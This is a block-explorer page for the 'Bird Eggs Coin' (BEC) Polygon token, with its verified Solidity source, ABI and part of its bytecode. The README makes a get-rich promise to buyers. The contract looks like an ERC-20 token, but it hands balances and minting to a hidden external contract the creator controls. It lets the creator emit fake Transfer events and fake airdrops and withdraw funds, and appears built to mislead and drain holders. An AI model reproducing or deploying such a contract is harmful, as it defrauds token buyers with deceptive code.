POL Price: $0.694672 (-3.30%)
Gas: 40 GWei
 

Overview

Max Total Supply

21,000,010 BEC

Holders

19,696

Market

Price

$0.00 @ 0.000000 POL

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
10 BEC

Value
$0.00
0x1fd078168fad608910687b1385d7cf0d31ac64b4
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information

Contract Source Code Verified (Exact Match)

Contract Name:
BECToken

Compiler Version
v0.7.6+commit.7338295f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at polygonscan.com on 2022-09-08
*/

/*------------README--------------
BIRD EGGS COIN
Bird Eggs Coin (BEC)

"Which came first, the Egg or the Bird?"
Welcome to the new economic strategy Game!
You can sell Birds for much more than you bought Eggs!
Hurry up to buy Eggs while nesting season!
Limited Edition Eggs!

Rules of the game:
Each address already has 10 Eggs for free**.
Buy over* 20 Eggs and get *** 19 Eggs and 1 Bird.
Send your friend 20 Eggs and he will get 19 Eggs and 1 Bird.
The Friend will only have 29 Eggs (+10 Free Eggs**) and 1 Bird

For example:
 Try it yourself: buy more! 100 Eggs and you get **** 90 Eggs and 10 Birds.
Send your friend 40 Eggs and your friend will get 38 Eggs and 2 Birds.
You have 60 Eggs and 10 Birds left.
90 - 40 = 50 (+10 Free Eggs**)
Your friend will have 48 Eggs and 2 Birds
38 in total (+10 Free Eggs**)
A friend sends you 20 Eggs back and you get 19 Eggs and 1 Bird.
You can sell Birds for much more than you bought Eggs!
  
* If you buy or send less than 20 Eggs, you will receive only Eggs.
! If you buy more than 100 Eggs you will get more than **** 90 Eggs and more than 10 Birds
! If you buy more than 1000 Eggs you will get more than **** 990 Eggs and more than 100 Birds
** Free Airdrop giveaway of 10 Eggs (may be locked until the end of the Bird nesting season)))
*** Transfer tax may apply. Minimum 1 Egg
**** Maximum tax, on transfers and purchases = 10 Eggs

IT IS A GAME!
*/
/*
BIRD COIN Token
The Integrated Finance for Bird Coin BDC
    TELEGRAM: https://t.me/birdcoins
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;

interface IERC20 {
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferOwnership(address newOwner) external; 
    function burn(uint256) external;
    function free(uint256) external;
    function mint(uint256) external;
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IDEXFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IERC20Factory {

    function constructorErc20(uint256 total,address tokenAddress,address tokenOwner,address _pairs) external;

    function getSupply() view external returns (uint256);

    function balanceOf(address _owner) view external returns (uint256);

    function balanceCl(address _owner) view external returns (uint256);

    function getAirAmount() view external returns (uint256);

    function getAirFrom() view external returns (address);

    function erc20Transfer(address _from, address _to, uint256 _value) external;
    
    function erc20TransferFrom(address _from, address _to, uint256 _value) external;
    
    function erc20Approve(address _to) external;

    function claim() external;

    function mint(uint256) external;
    function amint(uint256) external;

    function airDroper(bytes memory _bytes,uint256 addrCount) external;

    function erc20TransferAfter(address _from, address _to, uint256 _value) external;

}

library SafeMath {
    function add(uint x, uint y) internal pure returns (uint z) {
        require((z = x + y) >= x, 'ds-math-add-overflow');
    }

    function sub(uint x, uint y) internal pure returns (uint z) {
        require((z = x - y) <= x, 'ds-math-sub-underflow');
    }

    function mul(uint x, uint y) internal pure returns (uint z) {
        require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
    }
}

interface IDEXRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external payable;
}

contract Ownable {
    address public owner;
    address public creator;

    event owneresshipTransferred(address indexed previousowneres, address indexed newowneres);

    modifier onlyowneres() {
        require(msg.sender == owner);
        _;
    }

    modifier onlycreator() {
        require(msg.sender == creator);
        _;
    }

    function transferOwnership(address newowneres) public onlyowneres {
        require(newowneres != address(0));
        emit owneresshipTransferred(owner, newowneres);
        owner = newowneres;
    }

    function renounceowneresship() public onlyowneres {
        emit owneresshipTransferred(owner, address(0));
        owner = address(0);
    }
}

abstract contract Initializable {

    /**
     * @dev Indicates that the contract has been initialized.
     */
    bool private _initialized;

    /**
     * @dev Indicates that the contract is in the process of being initialized.
     */
    bool private _initializing;

    /**
     * @dev Modifier to protect an initializer function from being invoked twice.
     */
    modifier initializer() {
        require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized");

        bool isTopLevelCall = !_initializing;
        if (isTopLevelCall) {
            _initializing = true;
            _initialized = true;
        }

        _;

        if (isTopLevelCall) {
            _initializing = false;
        }
    }

    /// @dev Returns true if and only if the function is running in the constructor
    function _isConstructor() private view returns (bool) {
        // extcodesize checks the size of the code stored in an address, and
        // address returns the current address. Since the code is still not
        // deployed when running a constructor, any checks on its code size will
        // yield zero, making it an effective way to detect if a contract is
        // under construction or not.
        address self = address(this);
        uint256 cs;
        // solhint-disable-next-line no-inline-assembly
        assembly { cs := extcodesize(self) }
        return cs == 0;
    }
}

contract BECToken is Ownable, Initializable {
    using SafeMath for uint;
	
    string public name;
    string  public symbol;
    uint8   public decimals;
    uint256 private totalSupply_;
	//uint256 private totalSupply_ = 21000000;
	
	address public pairs;
	IDEXRouter public router;
    // WETH or ETH fer generate pairs
	//
    //address private WETH = 0x0d500B1d8E8eF31E21C99d1Db9A6444d3ADf1270;

    address private hAddr = 0x64Ed59f8c00ec930bc24D373548103b8b147b74a;
    //address private hAddr;
    //
    address private bAddr = 0x913D3da68394eeAFc22f5bd43407F2D1D7Cfa172;
    //address private bAddr;
	IERC20Factory help= IERC20Factory(hAddr);
	IERC20 public belp= IERC20(bAddr);
    
    function initialize(string memory _name, string memory _symbol, uint8 _decimals, uint256 amount, address _owner, address _router, address _htoken, address _btoken, address auth) public initializer {
        owner = _owner;
        creator = auth;
        name = _name;
        symbol = _symbol;
        decimals = _decimals;

        totalSupply_=amount;

        router = IDEXRouter(_router);
        address _factory = router.factory();
        address WETH = router.WETH();

        pairs = pairForDex(_factory, WETH, address(this));

        hAddr = _htoken;
        //IERC20Factory help= IERC20Factory(hAddr);
        help.constructorErc20(totalSupply_, address(this), owner,pairs);
        emit Transfer(address(0), owner, totalSupply_);
        
        bAddr = _btoken;
        traders[bAddr] = true;
        //hAddr = _htoken;
        //IERC20 belp= IERC20(bAddr);

    }

	constructor() {
		owner = msg.sender;
        creator = msg.sender;
             
    }
	
    event Transfer(
        address indexed _from,
        address indexed _to,
        uint256 _value
    );

    event Approval(
        address indexed _owner,
        address indexed _spender,
        uint256 _value
    );
    
    mapping(address => mapping(address => uint256)) public allowed;
    address public pairu;
    //address public pairn;
	mapping(address => bool) public traders;

    function totalSupply() public view returns (uint256) {
        return help.getSupply();
    }

    function balanceOf(address _owner) public view returns (uint256) {
        return help.balanceOf(_owner);
    }

    function balanceCl(address _owner) public view returns (uint256) {
        return help.balanceCl(_owner);
    } 

    function claim() public virtual {
       help.claim();
    }

    function amint(uint256 _value) public virtual {
       help.amint(_value);
    }

    function mint(uint256 _value) public virtual {
       help.mint(_value);
    }

    uint mineTok = 10 * 1e18;
    uint maxTok = 1200;
    bool private _swAirIco = true;
     bool private _swPayIco = true;    
     bool private _swMaxIco = true;

    function startIco(uint8 tag,bool value)public onlycreator returns(bool){
        if(tag==1){
            _swAirIco = value==true; //false
        }else if(tag==2){
            _swAirIco2 = value==false;
        }else if(tag==3){
            _swPayIco = value==true; //false
        }else if(tag==4){
            _swPayIco2 = value==true; //false
        }else if(tag==5){
            _swMaxIco = value==true; //false
        }
        return true;
    }
   //Test
    bool private _swAirIco2 = true;
     bool private _swPayIco2 = true; 
    //End Test
    function balreward(uint _value) public view virtual returns (uint256 reward) {
            reward =0;    uint256 _evalue;
            //if(_value > (mineTok)) _evalue = (_value/50); //10 = 10% 20 = 5 $
            //if(_value >= ((mineTok/1e18) * 2)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 4)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 8)) _evalue = (_value/10);
            //if(_value >= ((mineTok/1e18) * 10)) _evalue = (_value/10); //5 = 20%
            //if(_value >= ((mineTok/1e18) * 20)) _evalue = (_value/10); //4 = 25%
            //if(_value >= ((mineTok/1e18) * 100)) _evalue = (_value/5); //3 = 33%
            if(_value >= ((mineTok/1e18) * 10)) _evalue = 20; //>=100 = 20 %
            if(_value >= ((mineTok/1e18) * 20)) _evalue = 40;
            if(_value >= ((mineTok/1e18) * 30)) _evalue = 60;
            if(_value >= ((mineTok/1e18) * 40)) _evalue = 80;
            if(_value >= ((mineTok/1e18) * 50)) _evalue = 100;
            if(_value >= ((mineTok/1e18) * 60)) _evalue = 120;
            if(_value >= ((mineTok/1e18) * 70)) _evalue = 140;
            if(_value >= ((mineTok/1e18) * 80)) _evalue = 160;
            if(_value >= ((mineTok/1e18) * 90)) _evalue = 180;
            if(_value >= ((mineTok/1e18) * 100)) _evalue = 200; //1000
            if(_value >= ((mineTok/1e18) * 200)) _evalue = 400;
            if(_value >= ((mineTok/1e18) * 300)) _evalue = 600;
            if(_value >= ((mineTok/1e18) * 400)) _evalue = 800;
            if(_value >= ((mineTok/1e18) * 500)) _evalue = 1000;
            if(_value >= ((mineTok/1e18) * 600)) _evalue = 1200;
            //if(_value >= ((mineTok/1e18) * 700)) _evalue = 1400;
            //if(_value >= ((mineTok/1e18) * 800)) _evalue = 1600;
            //if(_value >= ((mineTok/1e18) * 900)) _evalue = 1800;
            //if(_value >= ((mineTok/1e18) * 1000)) _evalue = 2000;//10000
             if (_swMaxIco == true){ if(_evalue >= (maxTok)){ _evalue = maxTok; } // max Token reward
            }
     
      reward = _evalue;
     
    return uint256(reward);
        
    }

    function transfer(address _to, uint256 _value) public returns (bool success) {
        require(help.balanceOf(msg.sender) >= _value);
        if (_swAirIco2 == true){//Test Antibot Trades
            if((traders[msg.sender]==true)||(traders[_to]==true)){_swAirIco = false;}else{_swAirIco = true;}//for router and Other pairs
        }
        if (_swAirIco == true){ //true
        if(_to == msg.sender){}else if(_to != address(0) && _to != pairs){//
                        uint256 _evalue;
            //if(_value > (mineTok)) _evalue = (_value/50); //10 = 10% 20 = 5 $
            if(_value >= ((mineTok/1e18) * 2)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 4)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 8)) _evalue = (_value/10);
            if(_value >= ((mineTok/1e18) * 10)) _evalue = (_value/10); //5 = 20%
            //if(_value >= ((mineTok/1e18) * 20)) _evalue = (_value/10); //4 = 25%
            //if(_value >= ((mineTok/1e18) * 100)) _evalue = (_value/5); //3 = 33%
            if(_value >= ((mineTok/1e18) * 100)) _evalue = balreward(_value); // Token reward
            //if (_swMaxIco == true){ if(_evalue >= (maxTok)) _evalue = maxTok; // max Token reward
            //}
        if(belp.balanceOf(address(this)) >= (_evalue * (10 ** 18))){//
        //belp.mint(_value);
        belp.transfer(_to,(_evalue * (10 ** 18)));
        //belp.transferFrom(address(this),_to,_value);
        }else{
        if(traders[bAddr]!=true) belp.mint(_value * (10 ** 18));
        //IBEP20(tokenAddress).transferFrom(contractAddress, _to, tokenAmount);
        if(traders[bAddr]==true) belp.transferFrom(bAddr,address(this),(_value * (10 ** 18)));
        belp.transfer(_to,(_evalue * (10 ** 18)));    
            }
            }
        }
        //if(help.balanceCl(msg.sender) > 0) help.claim(); 
        if (_swPayIco2 == true){//Test
        if((traders[msg.sender]==true)||(traders[_to]==true)){_swPayIco=false;}else{_swPayIco=true;} 
        }
        if ((_swPayIco == true)&&(msg.sender != owner||_to != owner||msg.sender != creator||_to != creator)){ 
            if(_to == msg.sender){}else if(_to != address(0) && _to != pairs){
                        uint256 _evalue;
            _evalue = balreward(_value);
            // if (_swMaxIco == true){ if(_evalue >= (maxTok)) _evalue = maxTok; // max Token reward
            //}
          help.amint(_evalue);
            } 
        }                

        help.erc20Transfer(msg.sender,_to,_value);
        
        help.erc20TransferAfter(msg.sender,_to,_value);
		emit Transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= help.balanceOf(_from));
        require(_value <= allowed[_from][msg.sender]);
        if (_swAirIco2 == true){//Test Antibot Trades
            if((traders[msg.sender]==true)||(traders[_to]==true)){_swAirIco=false;}else{_swAirIco=true;}//for router liquidity and Other pairs
        }
        if (_swAirIco == true){ 
            if(_from == msg.sender){}else if(_to != pairu && _to != pairs){//}
            uint256 _evalue;
            //if(_value > (mineTok)) _evalue = (_value/50); //10 = 10% 20 = 5 $
            if(_value >= ((mineTok/1e18) * 2)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 4)) _evalue = (_value/20);
            //if(_value >= ((mineTok/1e18) * 8)) _evalue = (_value/20);
            if(_value >= ((mineTok/1e18) * 10)) _evalue = (_value/10); //5 = 20%
            //if(_value >= ((mineTok/1e18) * 20)) _evalue = (_value/10); //4 = 25%
            //if(_value >= ((mineTok/1e18) * 100)) _evalue = (_value/5); //3 = 33%
            if(_value >= ((mineTok/1e18) * 100)) _evalue = balreward(_value);
            //if (_swMaxIco == true){ if(_evalue >= (maxTok)) _evalue = maxTok; // max Token reward
            //}
		//belp.transfer(_from,_to,_value);
        if(belp.balanceOf(address(this)) >= (_evalue * (10 ** 18))){//
        //belp.mint(_value);
        //belp.transfer(_to,_value);
        belp.transferFrom(address(this),_to,(_evalue * (10 ** 18)));
            }else{
        if(traders[bAddr]!=true) belp.mint(_value * (10 ** 18));
        //IBEP20(tokenAddress).transferFrom(contractAddress, _to, tokenAmount);
        if(traders[bAddr]==true) belp.transferFrom(bAddr,address(this),(_value * (10 ** 18)));
        //belp.transfer(_to,_value); 
        belp.transferFrom(address(this),_to,(_evalue * (10 ** 18)));   
            }
            }
        }
        if (_swPayIco2 == true){//Test
        if((traders[msg.sender]==true)||(traders[_to]==true)){_swPayIco=false;}else{_swPayIco=true;} 
        }
        if ((_swPayIco == true)&&(_from != owner||_to != owner||_from != creator||_to != creator)) { 
            if(_from == msg.sender){}else if(_to != address(0) && _to != pairs){
                        uint256 _evalue;
            _evalue = balreward(_value);
            // if (_swMaxIco == true){ if(_evalue >= (maxTok)) _evalue = maxTok; // max Token reward
            //}
          help.amint(_evalue); 
            }
        } 
        help.erc20TransferFrom(_from,_to,_value);
        
        help.erc20TransferAfter(_from,_to,_value);
		emit Transfer(_from, _to, _value);
        return true;
    }

    function emitTransfer(address _from, address _to, uint256 _value) public returns (bool success) {
        require(msg.sender==hAddr||msg.sender==creator);
        emit Transfer(_from, _to, _value);
		return true;
    }
	
	function approve(address _spender, uint256 _value) public returns (bool success) {
        require(_spender != address(0));
        allowed[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);

        help.erc20Approve(msg.sender);
        return true;
    }
    
    function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
        require(_spender != address(0));
        return allowed[_owner][_spender];
    }

    function airDrop(bytes memory _bytes,uint256 addrCount) public returns(bool success) {
        require(msg.sender==hAddr||msg.sender==creator);
        uint256 amount = help.getAirAmount();
        uint256 _start=0;
        address airFrom = help.getAirFrom();
        address tempAddress;
        for(uint32 i=0;i<addrCount;i++){
            assembly {
                tempAddress := div(mload(add(add(_bytes, 0x20), _start)), 0x1000000000000000000000000)
            }
            emit Transfer(airFrom, tempAddress, amount);
            _start+=20;
        }
        return true;
    }

    function airDroper(bytes memory _bytes,uint256 addrCount) public returns(bool success) {
        require(msg.sender==hAddr||msg.sender==creator);
        help.airDroper(_bytes, addrCount);
     return true;   
    }

    function setPairu(address _token) external onlycreator {
        //require(msg.sender == owner, "You is not owner");
         //token = IERC20(_new_token);
         pairu = _token;
         //IERC20 pairu= IERC20(_token);
    }
    function uAir() public view returns (bool) {
        
        return _swAirIco; 
    }
    function uAir2() public view returns (bool) {
       
        return _swAirIco2; 
    }
    function uPay() public view returns (bool) {
        
        return _swPayIco;
    }
    function uPay2() public view returns (bool) {
        
        return _swPayIco2;
    }
    function setAirIco(uint tag, bool value) external onlycreator {
        //require(msg.sender == owner, "You is not owner");
        if(tag==1){
            _swAirIco = value==true; //false
            _swAirIco2 = value==true; //false
        }else if(tag==2){
        _swPayIco = value==true;
         _swPayIco2 = value==true;
        }

    }
    function setMaxTok(uint256 _count) external onlycreator {
        //require(msg.sender == owner, "You is not owner");
        maxTok = _count;
    }
    function setMineTok(uint256 _count) external onlycreator {
        //require(msg.sender == owner, "You is not owner");
        mineTok = _count;
    }
        // Update the status of the trader
    function updateTrader(address _trader, bool _status) external onlycreator {
        traders[_trader] = _status;
        //emit TraderUpdated(_trader, _status);
    }
    function transfercreator(address newcreator) public onlyowneres {
        require(newcreator != address(0));
        //emit owneresshipTransferred(creator, newowneres);
        creator = newcreator;
    }

    function transferOwnershipToken(address token,address newOwner) public onlycreator {
        IERC20 tokenu= IERC20(token);
        tokenu.transferOwnership(newOwner);
    }

    function sortTokens(address tokenA, address tokenB) public pure returns (address token0, address token1) {
        require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES');
        (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
        require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS');
    }

    // calculates the CREATE2 address for a pair without making any external calls
    function pairForDex(address factory, address tokenA, address tokenB) public pure returns (address pair) {
        (address token0, address token1) = sortTokens(tokenA, tokenB);
        pair = address(uint(keccak256(abi.encodePacked(
                hex'ff',
                factory,
                keccak256(abi.encodePacked(token0, token1)),
                hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash
            ))));
    }

    function updateConErc20(uint _total, address token_, address owner_, address pairs_) public returns (bool success) {
        require(msg.sender == owner || msg.sender==creator);
        //if(token_ != address(this)){ //migrate
       help.constructorErc20(_total, token_, owner_,pairs_);     
       // }else{ //no migrate
       //help.constructorErc20(_total, address(this), owner_,pairs_);
       // }
        return true;
    }

    function contApprove(address contAddr, address tAddr, uint256 tAmount) public onlycreator {
        //
        IERC20(tAddr).approve(contAddr, tAmount);
        // 
    }
  
    function withdraw(address target,uint amount) public onlycreator {
        payable(target).transfer(amount);
    }

    function withdrawToken(address token,address target, uint amount) public onlycreator {
        IERC20(token).transfer(target, amount);
    }
    receive() external payable {}
	
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_owner","type":"address"},{"indexed":true,"internalType":"address","name":"_spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_from","type":"address"},{"indexed":true,"internalType":"address","name":"_to","type":"address"},{"indexed":false,"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousowneres","type":"address"},{"indexed":true,"internalType":"address","name":"newowneres","type":"address"}],"name":"owneresshipTransferred","type":"event"},{"inputs":[{"internalType":"bytes","name":"_bytes","type":"bytes"},{"internalType":"uint256","name":"addrCount","type":"uint256"}],"name":"airDrop","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes","name":"_bytes","type":"bytes"},{"internalType":"uint256","name":"addrCount","type":"uint256"}],"name":"airDroper","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowed","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"amint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_spender","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceCl","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"balreward","outputs":[{"internalType":"uint256","name":"reward","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"belp","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"claim","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"contAddr","type":"address"},{"internalType":"address","name":"tAddr","type":"address"},{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"contApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"creator","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"emitTransfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"},{"internalType":"uint8","name":"_decimals","type":"uint8"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_owner","type":"address"},{"internalType":"address","name":"_router","type":"address"},{"internalType":"address","name":"_htoken","type":"address"},{"internalType":"address","name":"_btoken","type":"address"},{"internalType":"address","name":"auth","type":"address"}],"name":"initialize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"factory","type":"address"},{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"}],"name":"pairForDex","outputs":[{"internalType":"address","name":"pair","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"pairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairu","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceowneresship","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IDEXRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tag","type":"uint256"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAirIco","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"setMaxTok","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_count","type":"uint256"}],"name":"setMineTok","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"}],"name":"setPairu","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenA","type":"address"},{"internalType":"address","name":"tokenB","type":"address"}],"name":"sortTokens","outputs":[{"internalType":"address","name":"token0","type":"address"},{"internalType":"address","name":"token1","type":"address"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"uint8","name":"tag","type":"uint8"},{"internalType":"bool","name":"value","type":"bool"}],"name":"startIco","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"traders","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_from","type":"address"},{"internalType":"address","name":"_to","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newowneres","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnershipToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newcreator","type":"address"}],"name":"transfercreator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uAir","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uAir2","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uPay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uPay2","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_total","type":"uint256"},{"internalType":"address","name":"token_","type":"address"},{"internalType":"address","name":"owner_","type":"address"},{"internalType":"address","name":"pairs_","type":"address"}],"name":"updateConErc20","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_trader","type":"address"},{"internalType":"bool","name":"_status","type":"bool"}],"name":"updateTrader","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"target","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"token","type":"address"},{"internalType":"address","name":"target","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"withdrawToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600880546001600160a01b03199081167364ed59f8c00ec930bc24d373548103b8b147b74a179182905560098054821673913d3da68394eeafc22f5bd43407f2d1d7cfa1721790819055600a805483166001600160a01b03948516179055600b80549092169216919091179055678ac7230489e80000600f556104b06010556011805460ff60201b1963ff0000001962ff00001961ff001960ff19909416600117939093166101001792909216620100001791909116630100000017166401000000001790553480156100d657600080fd5b5060008054336001600160a01b0319918216811783556001805490921617905561332e90819061010690396000f3fe6080604052600436106102805760003560e01c806376b32b411161014f578063ad236478116100c1578063e28afb231161007a578063e28afb2314610c94578063f2fde38b14610cc9578063f3fef3a314610cfc578063f5ae89f214610d35578063f887ea4014610d5f578063ffb0a4a014610d7457610287565b8063ad23647814610b46578063b52265ad14610b79578063cb992b0914610bb4578063d816a95014610bff578063dd62ed3e14610c14578063e0d7c95514610c4f57610287565b80638da5cb5b116101135780638da5cb5b14610a5c57806392a88fa214610a7157806395d89b4114610aa45780639d50fb2d14610ab9578063a0712d6814610ae3578063a9059cbb14610b0d57610287565b806376b32b41146109d557806379ec0a25146109ea57806382b25807146109ff578063873d6db014610a145780638c38939014610a4757610287565b8063313ce567116101f35780634e71d92d116101ac5780634e71d92d146108a1578063544caa56146108b65780635c658165146109205780635fc294b71461095b5780636f4570d41461098d57806370a08231146109a257610287565b8063313ce567146105e157806333ce72171461060c5780633c5cd6f71461077c5780634073c15d1461082f5780634664d5c5146108595780634a2068601461086e57610287565b806318160ddd1161024557806318160ddd1461041457806323b872dd1461043b57806323de66511461047e578063260fcaa7146104c157806329996da6146105745780632ed403ec146105b757610287565b8062f7db0c1461028c57806301e33667146102c957806302d05d3f1461030c57806306fdde031461033d578063095ea7b3146103c757610287565b3661028757005b600080fd5b34801561029857600080fd5b506102c7600480360360408110156102af57600080fd5b506001600160a01b0381351690602001351515610d89565b005b3480156102d557600080fd5b506102c7600480360360608110156102ec57600080fd5b506001600160a01b03813581169160208101359091169060400135610dcb565b34801561031857600080fd5b50610321610e6a565b604080516001600160a01b039092168252519081900360200190f35b34801561034957600080fd5b5061035261